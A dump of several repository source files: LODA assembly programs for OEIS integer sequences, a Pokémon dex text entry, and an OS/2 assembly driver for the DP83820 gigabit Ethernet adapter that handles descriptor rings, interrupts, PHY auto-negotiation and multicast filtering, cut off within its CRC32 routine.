; 0,17,34,51,68,85,102,119,136,153,170,187,204,221,238,255,272,289,306,323,340,357,374,391,408,425,442,459,476,493,510,527,544,561,578,595,612,629,646,663,680,697,714,731,748,765,782,799,816,833,850,867,884,901,918,935,952,969,986,1003,1020,1037,1054,1071,1088,1105,1122,1139,1156,1173,1190,1207,1224,1241,1258,1275,1292,1309,1326,1343,1360,1377,1394,1411,1428,1445,1462,1479,1496,1513,1530,1547,1564,1581,1598,1615,1632,1649,1666,1683,1700,1717,1734,1751,1768,1785,1802,1819,1836,1853,1870,1887,1904,1921,1938,1955,1972,1989,2006,2023,2040,2057,2074,2091,2108,2125,2142,2159,2176,2193,2210,2227,2244,2261,2278,2295,2312,2329,2346,2363,2380,2397,2414,2431,2448,2465,2482,2499,2516,2533,2550,2567,2584,2601,2618,2635,2652,2669,2686,2703,2720,2737,2754,2771,2788,2805,2822,2839,2856,2873,2890,2907,2924,2941,2958,2975,2992,3009,3026,3043,3060,3077,3094,3111,3128,3145,3162,3179,3196,3213,3230,3247,3264,3281,3298,3315,3332,3349,3366,3383,3400
mov $1,$0
mul $1,17
|
oeis/348/A348994.asm | neoneye/loda-programs | 11 | 164134 | <filename>oeis/348/A348994.asm
; A348994: a(n) = A003961(n) / gcd(n, A003961(n)), where A003961(n) is fully multiplicative with a(prime(k)) = prime(k+1).
; Submitted by <NAME>
; 1,3,5,9,7,5,11,27,25,21,13,15,17,33,7,81,19,25,23,63,55,39,29,45,49,51,125,99,31,7,37,243,65,57,11,25,41,69,85,189,43,55,47,117,35,87,53,135,121,147,95,153,59,125,91,297,115,93,61,21,67,111,275,729,119,65,71,171,145,33,73,75,79,123,49,207,13,85,83,567,625,129,89,165,133,141,155,351,97,35,187,261,185,159,161,405,101,363,325,441
mov $2,$0
seq $0,3961 ; Completely multiplicative with a(prime(k)) = prime(k+1).
mov $1,$0
add $2,1
gcd $1,$2
div $0,$1
|
oeis/330/A330908.asm | neoneye/loda-programs | 11 | 16726 | ; A330908: a(n+1) = a(n) + (number of divisors of a(n) that are not divisors of other divisors of a(n)) for n>1; a(1)=1.
; Submitted by <NAME>
; 1,2,4,6,9,11,13,15,18,21,24,27,29,31,33,36,39,42,46,49,51,54,57,60,64,66,70,74,77,80,83,85,88,91,94,97,99,102,106,109,111,114,118,121,123,126,130,134,137,139,141,144,147,150,154,158,161,164,167,169,171,174,178,181,183,186,190,194,197,199,201,204,208,211,213,216,219,222,226,229,231,235,238,242,245,248,251,253,256,258,262,265,268,271,273,277,279,282,286,290
lpb $0
sub $0,1
mov $2,$3
seq $2,83399 ; Number of divisors of n that are not divisors of other divisors of n.
add $3,$2
lpe
mov $0,$3
add $0,1
|
data/pokemon/dex_entries/pidgeot.asm | AtmaBuster/pokeplat-gen2 | 6 | 80934 | db "BIRD@" ; species name
db "Its outstanding"
next "vision allows it"
next "to spot splashing"
page "MAGIKARP, even"
next "while flying at"
next "3300 feet.@"
|
source/HWRes.asm | OS2World/DRV-NET-dp820a | 0 | 25751 | ; *** Resident part: Hardware dependent ***
include NDISdef.inc
include dp83820.inc
include MIIdef.inc
include misc.inc
include DrvRes.inc
extern DosIODelayCnt : far16
public DrvMajVer, DrvMinVer
DrvMajVer equ 1
DrvMinVer equ 9
.386
_REGSTR segment use16 dword AT 'RGST'
org 0
Reg DP83820_Registers <>
_REGSTR ends
_DATA segment public word use16 'DATA'
; --- DMA Descriptor management ---
public VTxHead, VTxTail, VTxFreeHead, VTxFreeTail
public TxTail, TxFreeHead, TxFreeTail
VTxHead dw 0
VTxTail dw 0
VTxFreeHead dw 0
VTxFreeTail dw 0
TxTail dw 0
TxFreeHead dw 0
TxFreeTail dw 0
public RxHead, RxTail, RxBusyHead, RxBusyTail, RxInProg
RxHead dw 0
RxTail dw 0
RxBusyHead dw 0
RxBusyTail dw 0
RxInProg dw 0
; --- System(PCI) Resource ---
public IOaddr, MEMSel, MEMaddr, IRQlevel
IOaddr dw ?
MEMSel dw ?
MEMaddr dd ?
IRQlevel db ?
; --- Medium status ---
public MediaLink, MediaSpeed, MediaDuplex, MediaPause, MediaType
MediaLink db 0
MediaSpeed db 0
MediaDuplex db 0
MediaPause db 0
MediaType db 0
align 2
; --- Physical information ---
PhyInfo _PhyInfo <>
; --- Register Contents ---
public regIntStatus, regIntMask ; << for debug info >>
public regReceiveMode, regHashTable
regIntStatus dd 0
regIntMask dd 0
regReceiveMode dd 0
regHashTable dw 128 dup (0)
; --- ReceiveChain Frame Descriptor ---
public RxFrameLen, RxDesc ; << for debug info >>
RxFrameLen dw 0
RxDesc RxFrameDesc <>
; --- Configuration Memory Image Parameters ---
public cfgSLOT, cfgTXQUEUE, cfgRXQUEUE, cfgMAXFRAMESIZE
public cfgTxMXDMA, cfgTxFLTH, cfgTxDRTH
public cfgRxMXDMA, cfgRxDRTH
public cfgIHR, cfgPauseThresh, cfgRxAcErr
cfgSLOT db 0
cfgTXQUEUE db 8
cfgRXQUEUE db 16
cfgTxDRTH db 7808/32 ; n*32byte [0..ff]
cfgTxFLTH db 288/32 ; n*32byte [0..ff]
cfgTxMXDMA db 110b ; 256bytes [0..7]
cfgRxDRTH db (248/8) shl 1 ; n*8byte [0..1f]
cfgRxMXDMA db 110b ; 256bytes [0..7]
cfgRxAcErr db high(highword(AIRL)) ; AEP,ARP,AIRL
cfgPauseThresh db 11101110b ; 2bit*4
cfgIHR dw 0 ; bit8 mode, n*100us [0..ff]
cfgMAXFRAMESIZE dw 1514
; --- Receive Buffer address ---
public RxBufferLin, RxBufferPhys, RxBufferSize, RxBufferSelCnt, RxBufferSel
RxBufferLin dd ?
RxBufferPhys dd ?
RxBufferSize dd ?
RxBufferSelCnt dw ?
RxBufferSel dw 6 dup (?) ; max is 6.
; --- Vendor Adapter Description ---
public AdapterDesc
AdapterDesc db 'National Semiconductor DP83820 Giga Ethernet Adapter',0
_DATA ends
_TEXT segment public word use16 'CODE'
assume ds:_DATA, gs:_REGSTR
; USHORT hwTxChain(TxFrameDesc *txd, USHORT rqh, USHORT pid)
_hwTxChain proc near
push bp
xor ax,ax
mov bp,sp
les bx,[bp+4]
cmp ax,es:[bx].TxFrameDesc.TxImmedLen
adc ax,es:[bx].TxFrameDesc.TxDataCount ; desc count required
push offset semTx
call _EnterCrit
mov bx,[VTxFreeHead]
or bx,bx
jz short loc_2
mov cx,[bx].txdesc.vlink
mov si,[TxFreeHead]
mov [VTxFreeHead],cx
mov [bx].txdesc.deschead,si
loc_1:
mov di,si
dec ax
mov si,[si].bufdesc.vlink
jnz short loc_1
mov [bx].txdesc.desctail,di
mov [TxFreeHead],si
loc_2:
call _LeaveCrit
or bx,bx
jnz short loc_3
mov ax,OUT_OF_RESOURCE
pop bx ; stack adjust
pop bp
retn
loc_3:
push gs
mov ax,[bp+8]
mov dx,[bp+10]
mov [bx].txdesc.reqhandle,ax
mov [bx].txdesc.protid,dx
lgs bp,[bp+4]
mov cx,gs:[bp].TxFrameDesc.TxImmedLen
mov si,[bx].txdesc.deschead
or cx,cx
jz short loc_4 ; No Immediate Data
push si
push fs
push ds
pop es
lfs si,gs:[bp].TxFrameDesc.TxImmedPtr
lea di,[bx].txdesc.immed
mov dx,cx
shr cx,2
rep movsd es:[di],fs:[si]
mov cl,dl
and cl,3
rep movsb es:[di],fs:[si]
pop fs
pop si
mov eax,[bx].txdesc.immedphy
mov [si].bufdesc.bufptr,eax
mov word ptr [si].bufdesc.cmdsts,dx
mov word ptr [si].bufdesc.cmdsts[2],highword(OWN or MORE)
mov si,[si].bufdesc.vlink
loc_4:
mov cx,gs:[bp].TxFrameDesc.TxDataCount
or cx,cx
jz short loc_7
lea bp,[bp].TxFrameDesc.TxBufDesc1
loc_5:
cmp gs:[bp].TxBufDesc.TxPtrType,0
mov eax,gs:[bp].TxBufDesc.TxDataPtr
jz short loc_6
push eax
call _VirtToPhys
add sp,4
loc_6:
mov dx,gs:[bp].TxBufDesc.TxDataLen
mov [si].bufdesc.bufptr,eax
mov word ptr [si].bufdesc.cmdsts,dx
mov word ptr [si].bufdesc.cmdsts[2],highword(OWN or MORE)
add bp,sizeof(TxBufDesc)
mov si,[si].bufdesc.vlink
dec cx
jnz short loc_5
loc_7:
xor eax,eax
mov si,[bx].txdesc.deschead
mov di,[bx].txdesc.desctail
mov [di].bufdesc.link,eax ; buf link tail
mov word ptr [di].bufdesc.cmdsts[2],highword(OWN) ; last
mov [di].bufdesc.vlink,ax ; buf vlink tail
mov [bx].txdesc.vlink,ax ; vtx vlink tail
mov cx,bx
mov eax,[si].bufdesc.phyaddr ; buf link chain
pop gs
call _EnterCrit
cmp [VTxHead],0
jnz short loc_9
mov bx,[TxTail]
mov [VTxHead],cx ; queue empty
or bx,bx
jz short loc_8 ; first tx
mov [bx].bufdesc.link,eax ; link to previous tail.
jmp short loc_10
loc_8:
mov gs:[Reg.TXDP],eax ; set txdp
jmp short loc_10
loc_9:
mov bx,[VTxTail] ; queue not empty
mov [bx].txdesc.vlink,cx ; vtx chain
mov bx,[bx].txdesc.desctail
mov [bx].bufdesc.link,eax ; link chain
mov [bx].bufdesc.vlink,si ; buf chain
loc_10:
mov [VTxTail],cx
mov [TxTail],di
mov gs:[Reg.CR],TXE
call _LeaveCrit
pop cx ; stack adjust
mov ax,REQUEST_QUEUED
pop bp
retn
_hwTxChain endp
_hwRxRelease proc near
push bp
mov bp,sp
push si
push di
push offset semRx
call _EnterCrit
mov bx,[RxInProg]
mov ax,[bp+4]
or bx,bx ; exist frame in progress?
jz short loc_0
cmp ax,[bx].bufdesc.deschandle
jnz short loc_0
mov [RxInProg],0
jmp short loc_4
loc_0:
mov bx,[RxBusyHead]
loc_1:
or bx,bx ; waiting queue empty/tail?
jz short loc_5
mov si,[bx].bufdesc.desctail
cmp ax,[bx].bufdesc.deschandle
jz short loc_2
mov di,bx
mov bx,[si].bufdesc.vlink
jmp short loc_1
loc_2:
cmp bx,[RxBusyHead]
mov ax,[si].bufdesc.vlink
jnz short loc_3 ; midle/tail
mov [RxBusyHead],ax ; head
jmp short loc_4
loc_3:
cmp si,[RxBusyTail]
mov [di].bufdesc.vlink,ax ; middle/tail
jnz short loc_4 ; middle
mov [RxBusyTail],di ; tail
loc_4:
call __RxFreeFrame
loc_5:
call _LeaveCrit
pop bp ; stack adjust
mov ax,SUCCESS
pop di
pop si
pop bp
retn
_hwRxRelease endp
__RxFreeFrame proc near
xor ax,ax
mov di,[bx].bufdesc.desctail
mov si,bx
loc_1:
cmp bx,di
mov word ptr [bx].bufdesc.cmdsts,1536
mov word ptr [bx].bufdesc.extsts,ax
mov word ptr [bx].bufdesc.extsts[2],ax
jz short loc_2
mov word ptr [bx].bufdesc.cmdsts[2],highword(MORE)
mov bx,[bx].bufdesc.vlink
jmp short loc_1
loc_2:
mov bx,[RxTail]
mov [di].bufdesc.vlink,ax
mov word ptr [di].bufdesc.cmdsts[2],highword(OWN or MORE)
mov eax,[si].bufdesc.phyaddr
mov [bx].bufdesc.link,eax
mov word ptr [bx].bufdesc.cmdsts[2],highword(MORE)
mov [bx].bufdesc.vlink,si
mov [RxTail],di
mov gs:[Reg.CR],RXE
retn
__RxFreeFrame endp
_ServiceIntTx proc near
enter 2,0
it_txd equ bp-2
push offset semTx
loc_0:
call _EnterCrit
xor cx,cx
mov bx,[VTxHead]
mov [it_txd],cx
or bx,bx
jz short loc_1 ; empty
mov si,[bx].txdesc.desctail
mov ax,word ptr [si].bufdesc.cmdsts[2]
test ah,high(highword(OWN))
jnz short loc_1 ; in progress
mov dx,[bx].txdesc.vlink
mov [it_txd],bx
mov [VTxHead],dx
loc_1:
call _LeaveCrit
cmp [it_txd],cx
jnz short loc_2
leave
retn
loc_2:
test ax,highword(EC or OWC or ED or TD or CRS or TFU or TXA)
mov cx,[bx].txdesc.reqhandle
setnz al
mov dx,[bx].txdesc.protid
or cx,cx ; handle = 0 ?
mov di,[ProtDS]
jz short loc_3
neg al
mov si,[CommonChar.moduleID]
and ax,GENERAL_FAILURE ; SUCCESS / GENERAL_FAILURE
push dx ; ProtID
push si ; MACID
push cx ; ReqHandle
push ax ; Status
push di ; ProtDS
call dword ptr [LowDisp.txconfirm]
mov gs,[MEMSel] ; fix gs selector
loc_3:
xor eax,eax
mov bx,[it_txd]
mov si,[bx].txdesc.deschead
mov di,[bx].txdesc.desctail
mov [bx].txdesc.vlink,ax ; vtx vlink tail
mov [di].bufdesc.vlink,ax ; buf vlink tail
; mov [di].bufdesc.link,eax ; buf link tail
mov ecx,[si].bufdesc.phyaddr
call _EnterCrit
cmp ax,[TxFreeHead]
mov dx,di
jz short loc_4
mov di,[TxFreeTail] ; buf not empty
mov [di].bufdesc.vlink,si ; vlink
mov [di].bufdesc.link,ecx ; link
jmp short loc_5
loc_4:
mov [TxFreeHead],si ; buf empty
loc_5:
mov [TxFreeTail],dx
cmp ax,[VTxFreeHead]
jz short loc_6
mov di,[VTxFreeTail] ; vtx not empty
mov [di].txdesc.vlink,bx
jmp short loc_7
loc_6:
mov [VTxFreeHead],bx ; vtx empty
loc_7:
mov [VTxFreeTail],bx
call _LeaveCrit
jmp near ptr loc_0
_ServiceIntTx endp
_ServiceIntRx proc near
push bp
push offset semRx
loc_0:
call _EnterCrit
mov bx,[RxHead]
mov dx,[RxTail]
mov di,[RxInProg]
call _LeaveCrit
or di,di
; jnz short loc_5
jnz near ptr loc_5
cmp bx,dx
jz short loc_ex
xor cx,cx
mov si,offset RxDesc.RxBufDesc1
sub bp,bp
loc_1:
mov ax,word ptr [bx].bufdesc.cmdsts[2]
inc cx
test ah,high(highword(OWN))
jz short loc_ex
test ah,high(highword(MORE))
jz short loc_2
cmp cl,8
ja short loc_rmv
; mov di,1536
mov di,word ptr [bx].bufdesc.cmdsts
mov eax,[bx].bufdesc.virtaddr
mov [si].RxBufDesc.RxDataPtr,eax
mov [si].RxBufDesc.RxDataLen,di
add bp,di
mov bx,[bx].bufdesc.vlink
add si,sizeof(RxBufDesc)
cmp bx,dx
jnz short loc_1
loc_ex:
pop ax ; stack adjust
pop bp
retn
loc_rmv:
call _EnterCrit
mov di,[RxHead]
mov ax,[bx].bufdesc.vlink
mov [RxHead],ax
mov [di].bufdesc.desctail,bx
mov bx,di
call __RxFreeFrame
call _LeaveCrit
jmp short loc_0
loc_2:
test ax,highword(OK)
jz short loc_rmv
cmp cl,8 ; fragment count
ja short loc_rmv
; The size field in cmdsts shows the last fragment size,
; does not show the total frame length.
mov ax,word ptr [bx].bufdesc.cmdsts
add bp,ax ; total frame length.
cmp bp,[cfgMAXFRAMESIZE]
ja short loc_rmv ; too long frame
mov [si].RxBufDesc.RxDataLen,ax
mov edx,[bx].bufdesc.virtaddr
mov [si].RxBufDesc.RxDataPtr,edx
mov [RxFrameLen],bp
mov [RxDesc.RxDataCount],cx
mov ax,[bx].bufdesc.vlink
call _EnterCrit
mov di,[RxHead]
mov [RxHead],ax
mov [RxInProg],di
mov [di].bufdesc.desctail,bx
call _LeaveCrit
loc_5:
call _IndicationChkOFF
or ax,ax
jz short loc_ex ; indicate off - suspend
push -1 ; indicate
mov ax,[ProtDS]
mov cx,[di].bufdesc.deschandle
mov dx,[CommonChar.moduleID]
mov bx,sp
mov si,[RxFrameLen]
push cx ; handle
push dx ; MACID
push si ; FrameSize
push cx ; ReqHandle
push ds
push offset RxDesc ; RxFrameDesc
push ss
push bx ; Indicate
push ax
cld
call dword ptr [LowDisp.rxchain]
mov gs,[MEMSel] ; fix gs selector
lock or [drvflags],mask df_idcp
cmp ax,WAIT_FOR_RELEASE
jz short loc_6
call _hwRxRelease
jmp short loc_10
loc_6:
xor ax,ax
push offset semRx
call _EnterCrit
mov bx,[RxInProg]
mov [RxInProg],ax
or bx,bx
jz short loc_9
mov di,[bx].bufdesc.desctail
cmp ax,[RxBusyHead]
jnz short loc_7
mov [RxBusyHead],bx
jmp short loc_8
loc_7:
mov si,[RxBusyTail]
mov [si].bufdesc.vlink,bx
loc_8:
mov [RxBusyTail],di
mov [di].bufdesc.vlink,ax
loc_9:
call _LeaveCrit
pop dx ; stack adjust
loc_10:
pop cx ; handle
pop ax ; indicate
cmp al,-1
jnz short loc_11
call _IndicationON
jmp near ptr loc_0
loc_11:
lock or [drvflags],mask df_rxsp
pop ax ; stack adjust
pop bp
retn
_ServiceIntRx endp
_hwServiceInt proc near
enter 4,0
loc_0:
mov eax,gs:[Reg.ISR]
lock or [regIntStatus],eax
mov eax,[regIntStatus]
and eax,[regIntMask]
jnz short loc_1
leave
retn
loc_1:
mov [bp-4],eax
mov eax,TXOK or TXERR or TXURN or SWI
test [bp-4],eax
jz short loc_n1
not eax
lock and [regIntStatus],eax
call _ServiceIntTx
loc_n1:
mov eax,RXOK or RXERR or RXORN or RXSOVR or SWI
test [bp-4],eax
jz short loc_n2
not eax
lock and [regIntStatus],eax
call _ServiceIntRx
test dword ptr [bp-4],RXSOVR
jz short loc_n2
call _ResetRx
loc_n2:
mov eax,MIB
test [bp-4],eax
jz short loc_n3
not eax
lock and [regIntStatus],eax
call _hwUpdateStat
loc_n3:
jmp short loc_0
_hwServiceInt endp
_hwCheckInt proc near
mov eax,gs:[Reg.ISR]
lock or [regIntStatus],eax
mov eax,[regIntStatus]
test eax,[regIntMask]
setnz al
mov ah,0
retn
_hwCheckInt endp
_hwEnableInt proc near
mov eax,[regIntMask]
mov gs:[Reg.IMR],eax ; set IMR
mov gs:[Reg.IER],IE ; int enable
retn
_hwEnableInt endp
_hwDisableInt proc near
xor eax,eax
mov gs:[Reg.IER],eax ; clear IER
mov gs:[Reg.IMR],eax ; clear IMR
retn
_hwDisableInt endp
_hwIntReq proc near
mov gs:[Reg.CR],SWIR
retn
_hwIntReq endp
_hwEnableRxInd proc near
push eax
lock or [regIntMask],RXOK or RXERR or RXORN or RXSOVR
cmp semInt,0
jnz short loc_1
mov eax,[regIntMask]
mov gs:[Reg.IMR],eax
loc_1:
pop eax
retn
_hwEnableRxInd endp
_hwDisableRxInd proc near
push eax
lock and [regIntMask],not(RXOK or RXERR or RXORN or RXSOVR)
cmp [semInt],0
jnz short loc_1
mov eax,[regIntMask]
mov gs:[Reg.IMR],eax
loc_1:
pop eax
retn
_hwDisableRxInd endp
_hwPollLink proc near
call _ChkLink
test al,MediaLink
jz short loc_0 ; Link status change/down
retn
loc_0:
or al,al
mov MediaLink,al
jnz short loc_1 ; change into Link Active
call _ChkLink ; link down. check again.
or al,al
mov MediaLink,al
jnz short loc_1 ; short time link down
retn
loc_1:
cli
mov al,1
xchg al,[semInt] ; get interrupt semaphore
or al,al
jz short loc_2
call _Delay1ms
jmp short loc_1
loc_2:
call _hwDisableInt
sti
call _GetPhyMode
cmp al,MediaSpeed
jnz short loc_3
cmp ah,MediaDuplex
jnz short loc_3
cmp dl,MediaPause
jz short loc_4
loc_3:
mov MediaSpeed,al
mov MediaDuplex,ah
mov MediaPause,dl
call _SetMacEnv
cli
mov eax,[regIntMask]
test eax,[regIntStatus] ; pending interrupt?
jz short loc_4
call _hwIntReq ; software interrupt
loc_4:
call _hwEnableInt
mov al,0
xchg al,[semInt] ; release interrupt semaphore
sti
retn
_hwPollLink endp
_hwOpen proc near ; call in protocol bind process?
call _ResetPhy
cmp ax,SUCCESS
jnz short loc_e
call _AutoNegotiate
mov MediaSpeed,al
mov MediaDuplex,ah
mov MediaPause,dl
call _SetMacEnv
mov bx,[RxHead]
mov eax,[bx].bufdesc.phyaddr
mov gs:[Reg.RXDP],eax ; set rx head pointer
xor eax,eax
mov [regIntStatus],eax
mov ax,cfgIHR
mov gs:[Reg.IHR],eax ; set interrupt holdoff
mov eax,gs:[Reg.ISR] ; clear interrupt status
mov eax,RXOK or RXERR or RXORN or \
TXOK or TXERR or TXURN or \
MIB or SWI or RXSOVR
mov [regIntMask],eax
mov gs:[Reg.IMR],eax ; set interrupt mask
mov gs:[Reg.CR],RXE ; enable rx
mov gs:[Reg.IER],IE ; enable interrupt
mov ax,SUCCESS
loc_e:
retn
_hwOpen endp
_SetMacEnv proc near
mov al,cfgTxMXDMA
mov ah,high(highword(ATP)) shr 4
or al,low(highword(ECRETRY)) shr 4
shl eax,20
mov al,cfgTxDRTH
mov ah,cfgTxFLTH
mov cl,cfgRxMXDMA
mov ch,cfgRxAcErr
shl cl,4
or ch,high(highword(STRIPCRC))
shl ecx,16
mov cl,cfgRxDRTH
xor ebx,ebx
cmp MediaDuplex,1
jc short loc_2
or eax,CSI or HBI ; carrier sense/ heartbeat ignore
or ecx,RX_FD ; receive full duplex
test MediaPause,1 ; tx pasue capable
jz short loc_1
mov bl,cfgPauseThresh
mov bh,high(highword(PSEN)) shr 2
shl ebx,18
mov bx,-1 ; length 0xffff
loc_1:
test MediaPause,2 ; rx pause capable
jz short loc_2
or ebx,PSEN or PS_MCAST
loc_2:
cmp cfgMAXFRAMESIZE,1514
jna short loc_3
or ecx,ALP ; accept long packet
loc_3:
mov edx,gs:[Reg.CFG]
and edx,not(MODE_1000 or TBI_EN)
cmp MediaSpeed,2
jz short loc_4
jc short loc_5
or edx,MODE_1000 ; 1000
loc_4:
or eax,HBI ; 100/1000 heartbear ignore
loc_5:
cmp [MediaType],0
jz short loc_6
or edx,TBI_EN ; TBI
loc_6:
mov gs:[Reg.CFG],edx
mov gs:[Reg.TXCFG],eax
mov gs:[Reg.RXCFG],ecx
mov gs:[Reg.PCR],ebx
call _SetSpeedStat
retn
_SetMacEnv endp
_ResetRx proc near
push offset semRx
call _EnterCrit
xor eax,eax
lock and [regIntStatus],not RXRCMP
mov gs:[Reg.CR],RXR ; rx reset
loc_1:
test gs:[Reg.CR],RXE ; wait rx disabled
jnz short loc_1
mov gs:[Reg.RXDP],eax ; clear rx desc. pointer
mov bx,[RxHead] ; clean rx queue
mov di,[RxTail]
loc_2:
mov word ptr [bx].bufdesc.cmdsts,1536
mov word ptr [bx].bufdesc.cmdsts[2],highword(MORE)
mov [bx].bufdesc.extsts,eax
cmp bx,di
jz short loc_3
mov bx,[bx].bufdesc.vlink
jmp short loc_2
loc_3:
mov word ptr [di].bufdesc.cmdsts[2],highword(OWN or MORE)
mov bx,[RxHead]
loc_4:
mov eax,gs:[Reg.ISR]
lock or [regIntStatus],eax
test [regIntStatus],RXRCMP ; wait rx reset
jz short loc_4
mov eax,[bx].bufdesc.phyaddr
mov gs:[Reg.RXDP],eax
mov gs:[Reg.CR],RXE
call _LeaveCrit
pop ax ; stack adjust
retn
_ResetRx endp
_ChkLink proc near
push miiBMSR
push [PhyInfo.Phyaddr]
call _miiRead
and ax,miiBMSR_LinkStat
add sp,2*2
shr ax,2
retn
_ChkLink endp
_AutoNegotiate proc near
enter 2,0
push 0
push miiBMCR
push [PhyInfo.Phyaddr]
call _miiWrite ; clear ANEnable bit
add sp,3*2
call _Delay1ms
push miiBMCR_ANEnable or miiBMCR_RestartAN
push miiBMCR
push [PhyInfo.Phyaddr]
call _miiWrite ; restart Auto-Negotiation
add sp,3*2
mov word ptr [bp-2],12*30 ; about 12sec.
loc_1:
call _Delay1ms
push miiBMCR
push [PhyInfo.Phyaddr]
call _miiRead
add sp,2*2
test ax,miiBMCR_RestartAN ; AN in progress?
jz short loc_2
dec word ptr [bp-2]
jnz short loc_1
jmp short loc_f
loc_2:
call _Delay1ms
push miiBMSR
push [PhyInfo.Phyaddr]
call _miiRead
add sp,2*2
test ax,miiBMSR_ANComp ; AN Base Page exchange complete?
jnz short loc_3
dec word ptr [bp-2]
jnz short loc_2
jmp short loc_f
loc_3:
call _Delay1ms
push miiBMSR
push [PhyInfo.Phyaddr]
call _miiRead
add sp,2*2
test ax,miiBMSR_LinkStat ; link establish?
jnz short loc_4
dec word ptr [bp-2]
jnz short loc_3
loc_f:
xor ax,ax ; AN failure.
xor dx,dx
leave
retn
loc_4:
call _GetPhyMode
leave
retn
_AutoNegotiate endp
_GetPhyMode proc near
push miiANLPAR
push [PhyInfo.Phyaddr]
call _miiRead ; read base page
add sp,2*2
mov [PhyInfo.ANLPAR],ax
test [PhyInfo.BMSR],miiBMSR_ExtStat
jz short loc_2
push mii1KSTSR
push [PhyInfo.Phyaddr]
call _miiRead
add sp,2*2
mov [PhyInfo.GSTSR],ax ; link partner
shr ax,2
and ax,[PhyInfo.GTCR] ; ability
test ax,mii1KTCR_1KTFD
jz short loc_1
mov al,3 ; media speed - 1000Mb
mov ah,1 ; media duplex - full
jmp short loc_p
loc_1:
test ax,mii1KTCR_1KTHD
jz short loc_2
mov al,3 ; 1000Mb
mov ah,0 ; half duplex
jmp short loc_p
loc_2:
mov ax,[PhyInfo.ANAR]
and ax,[PhyInfo.ANLPAR]
test ax,miiAN_100FD
jz short loc_3
mov al,2 ; 100Mb
mov ah,1 ; full duplex
jmp short loc_p
loc_3:
test ax,miiAN_100HD
jz short loc_4
mov al,2 ; 100Mb
mov ah,0 ; half duplex
jmp short loc_p
loc_4:
test ax,miiAN_10FD
jz short loc_5
mov al,1 ; 10Mb
mov ah,1 ; full duplex
jmp short loc_p
loc_5:
test ax,miiAN_10HD
jz short loc_e
mov al,1 ; 10Mb
mov ah,0 ; half duplex
jmp short loc_p
loc_e:
xor ax,ax
sub dx,dx
retn
loc_p:
cmp ah,1 ; full duplex?
mov dh,0
jnz short loc_np
mov cx,[PhyInfo.ANLPAR]
test cx,miiAN_PAUSE ; symmetry
mov dl,3 ; tx/rx pause
jnz short loc_ex
test cx,miiAN_ASYPAUSE ; asymmetry
mov dl,2 ; rx pause
jnz short loc_ex
loc_np:
mov dl,0 ; no pause
loc_ex:
retn
_GetPhyMode endp
_ResetPhy proc near
enter 2,0
call _miiReset ; Reset Interface
push miiPHYID2
push 1 ; phyaddr 1
call _miiRead
add sp,2*2
or ax,ax ; ID2 = 0
jz short loc_1
inc ax ; ID2 = -1
jnz short loc_2
loc_1:
mov ax,HARDWARE_FAILURE
leave
retn
loc_2:
mov [PhyInfo.Phyaddr],1
push miiBMCR_Reset
push miiBMCR
push [PhyInfo.Phyaddr]
call _miiWrite ; Reset PHY
add sp,3*2
mov word ptr [bp-2],64 ; reset wait about 2sec.
loc_21:
call _Delay1ms
dec word ptr [bp-2]
jnz short loc_21
call _miiReset ; interface reset again
mov word ptr [bp-2],64 ; about 2sec.
loc_3:
push miiBMCR
push [PhyInfo.Phyaddr]
call _miiRead
add sp,2*2
test ax,miiBMCR_Reset
jz short loc_4
call _Delay1ms ; wait reset complete. 33ms:-)
dec word ptr [bp-2]
jnz short loc_3
jmp short loc_1 ; PHY Reset Failure
loc_4:
push miiBMSR
push [PhyInfo.Phyaddr]
call _miiRead
add sp,2*2
mov [PhyInfo.BMSR],ax
push miiANAR
push [PhyInfo.Phyaddr]
call _miiRead
add sp,2*2
mov [PhyInfo.ANAR],ax
test [PhyInfo.BMSR],miiBMSR_ExtStat
jz short loc_5 ; extended status exist?
push mii1KTCR
push [PhyInfo.Phyaddr]
call _miiRead
add sp,2*2
mov [PhyInfo.GTCR],ax
push mii1KSCR
push [PhyInfo.Phyaddr]
call _miiRead
add sp,2*2
mov [PhyInfo.GSCR],ax
xor cx,cx
test ax,mii1KSCR_1KXFD or mii1KSCR_1KXHD
setnz [MediaType] ; GMII/MII or TBI
test ax,mii1KSCR_1KTFD or mii1KSCR_1KXFD
jz short loc_41
or cx,mii1KTCR_1KTFD
loc_41:
test ax,mii1KSCR_1KTHD or mii1KSCR_1KXHD
jz short loc_42
or cx,mii1KTCR_1KTHD
loc_42:
mov ax,[PhyInfo.GTCR]
and ax,not (mii1KTCR_MSE or mii1KTCR_Port or \
mii1KTCR_1KTFD or mii1KTCR_1KTHD)
or ax,cx
mov [PhyInfo.GTCR],ax
push ax
push mii1KTCR
push [PhyInfo.Phyaddr]
call _miiWrite
add sp,2*2
loc_5:
mov ax,[PhyInfo.BMSR]
mov cx,miiAN_PAUSE
test ax,miiBMSR_100FD
jz short loc_61
or cx,miiAN_100FD
loc_61:
test ax,miiBMSR_100HD
jz short loc_62
or cx,miiAN_100HD
loc_62:
test ax,miiBMSR_10FD
jz short loc_63
or cx,miiAN_10FD
loc_63:
test ax,miiBMSR_10HD
jz short loc_64
or cx,miiAN_10HD
loc_64:
mov ax,[PhyInfo.ANAR]
and ax,not (miiAN_ASYPAUSE + miiAN_T4 + \
miiAN_100FD + miiAN_100HD + miiAN_10FD + miiAN_10HD)
or ax,cx
mov [PhyInfo.ANAR],ax
push ax
push miiANAR
push [PhyInfo.Phyaddr]
call _miiWrite
add sp,3*2
mov ax,SUCCESS
leave
retn
_ResetPhy endp
_hwUpdateMulticast proc near
enter 2,0
push si
push di
push offset semFlt
call _EnterCrit
mov cx,256/4
mov di,offset regHashTable
push ds
pop es
xor eax,eax
rep stosd ; clear hash table
mov cx,MCSTList.curnum
dec cx
jl short loc_2
mov [bp-2],cx
loc_1:
mov ax,[bp-2]
shl ax,4 ; 16bytes
add ax,offset MCSTList.multicastaddr1
push ax
call _CRC32
shr eax,21 ; the 11 most significant bits
mov di,ax
pop cx
shr di,4
and ax,0fh ; the bit index in word
add di,di ; the word index (2byte)
bts word ptr regHashTable[di],ax
dec word ptr [bp-2]
jge short loc_1
loc_2:
mov si,offset regHashTable -100h
mov cx,256/2
mov ebx,100h ; hash table index
xor eax,eax
mov edx,gs:[Reg.RFCR]
loc_3:
mov ax,[bx+si]
mov gs:[Reg.RFCR],ebx
mov gs:[Reg.RFDR],eax
add bx,2
dec cx
jnz short loc_3
mov gs:[Reg.RFCR],edx
call _LeaveCrit
pop cx
mov ax,SUCCESS
pop di
pop si
leave
retn
_hwUpdateMulticast endp
_CRC32 proc near
POLYNOMIAL_be equ 04C11DB7h
POLYNOMIAL_le equ 0EDB88320h
push bp
mov bp,sp
push si
push di
or ax,-1
mov bx,[bp+4]
mov ch,3
cwd
loc_1:
mov bp,[bx]
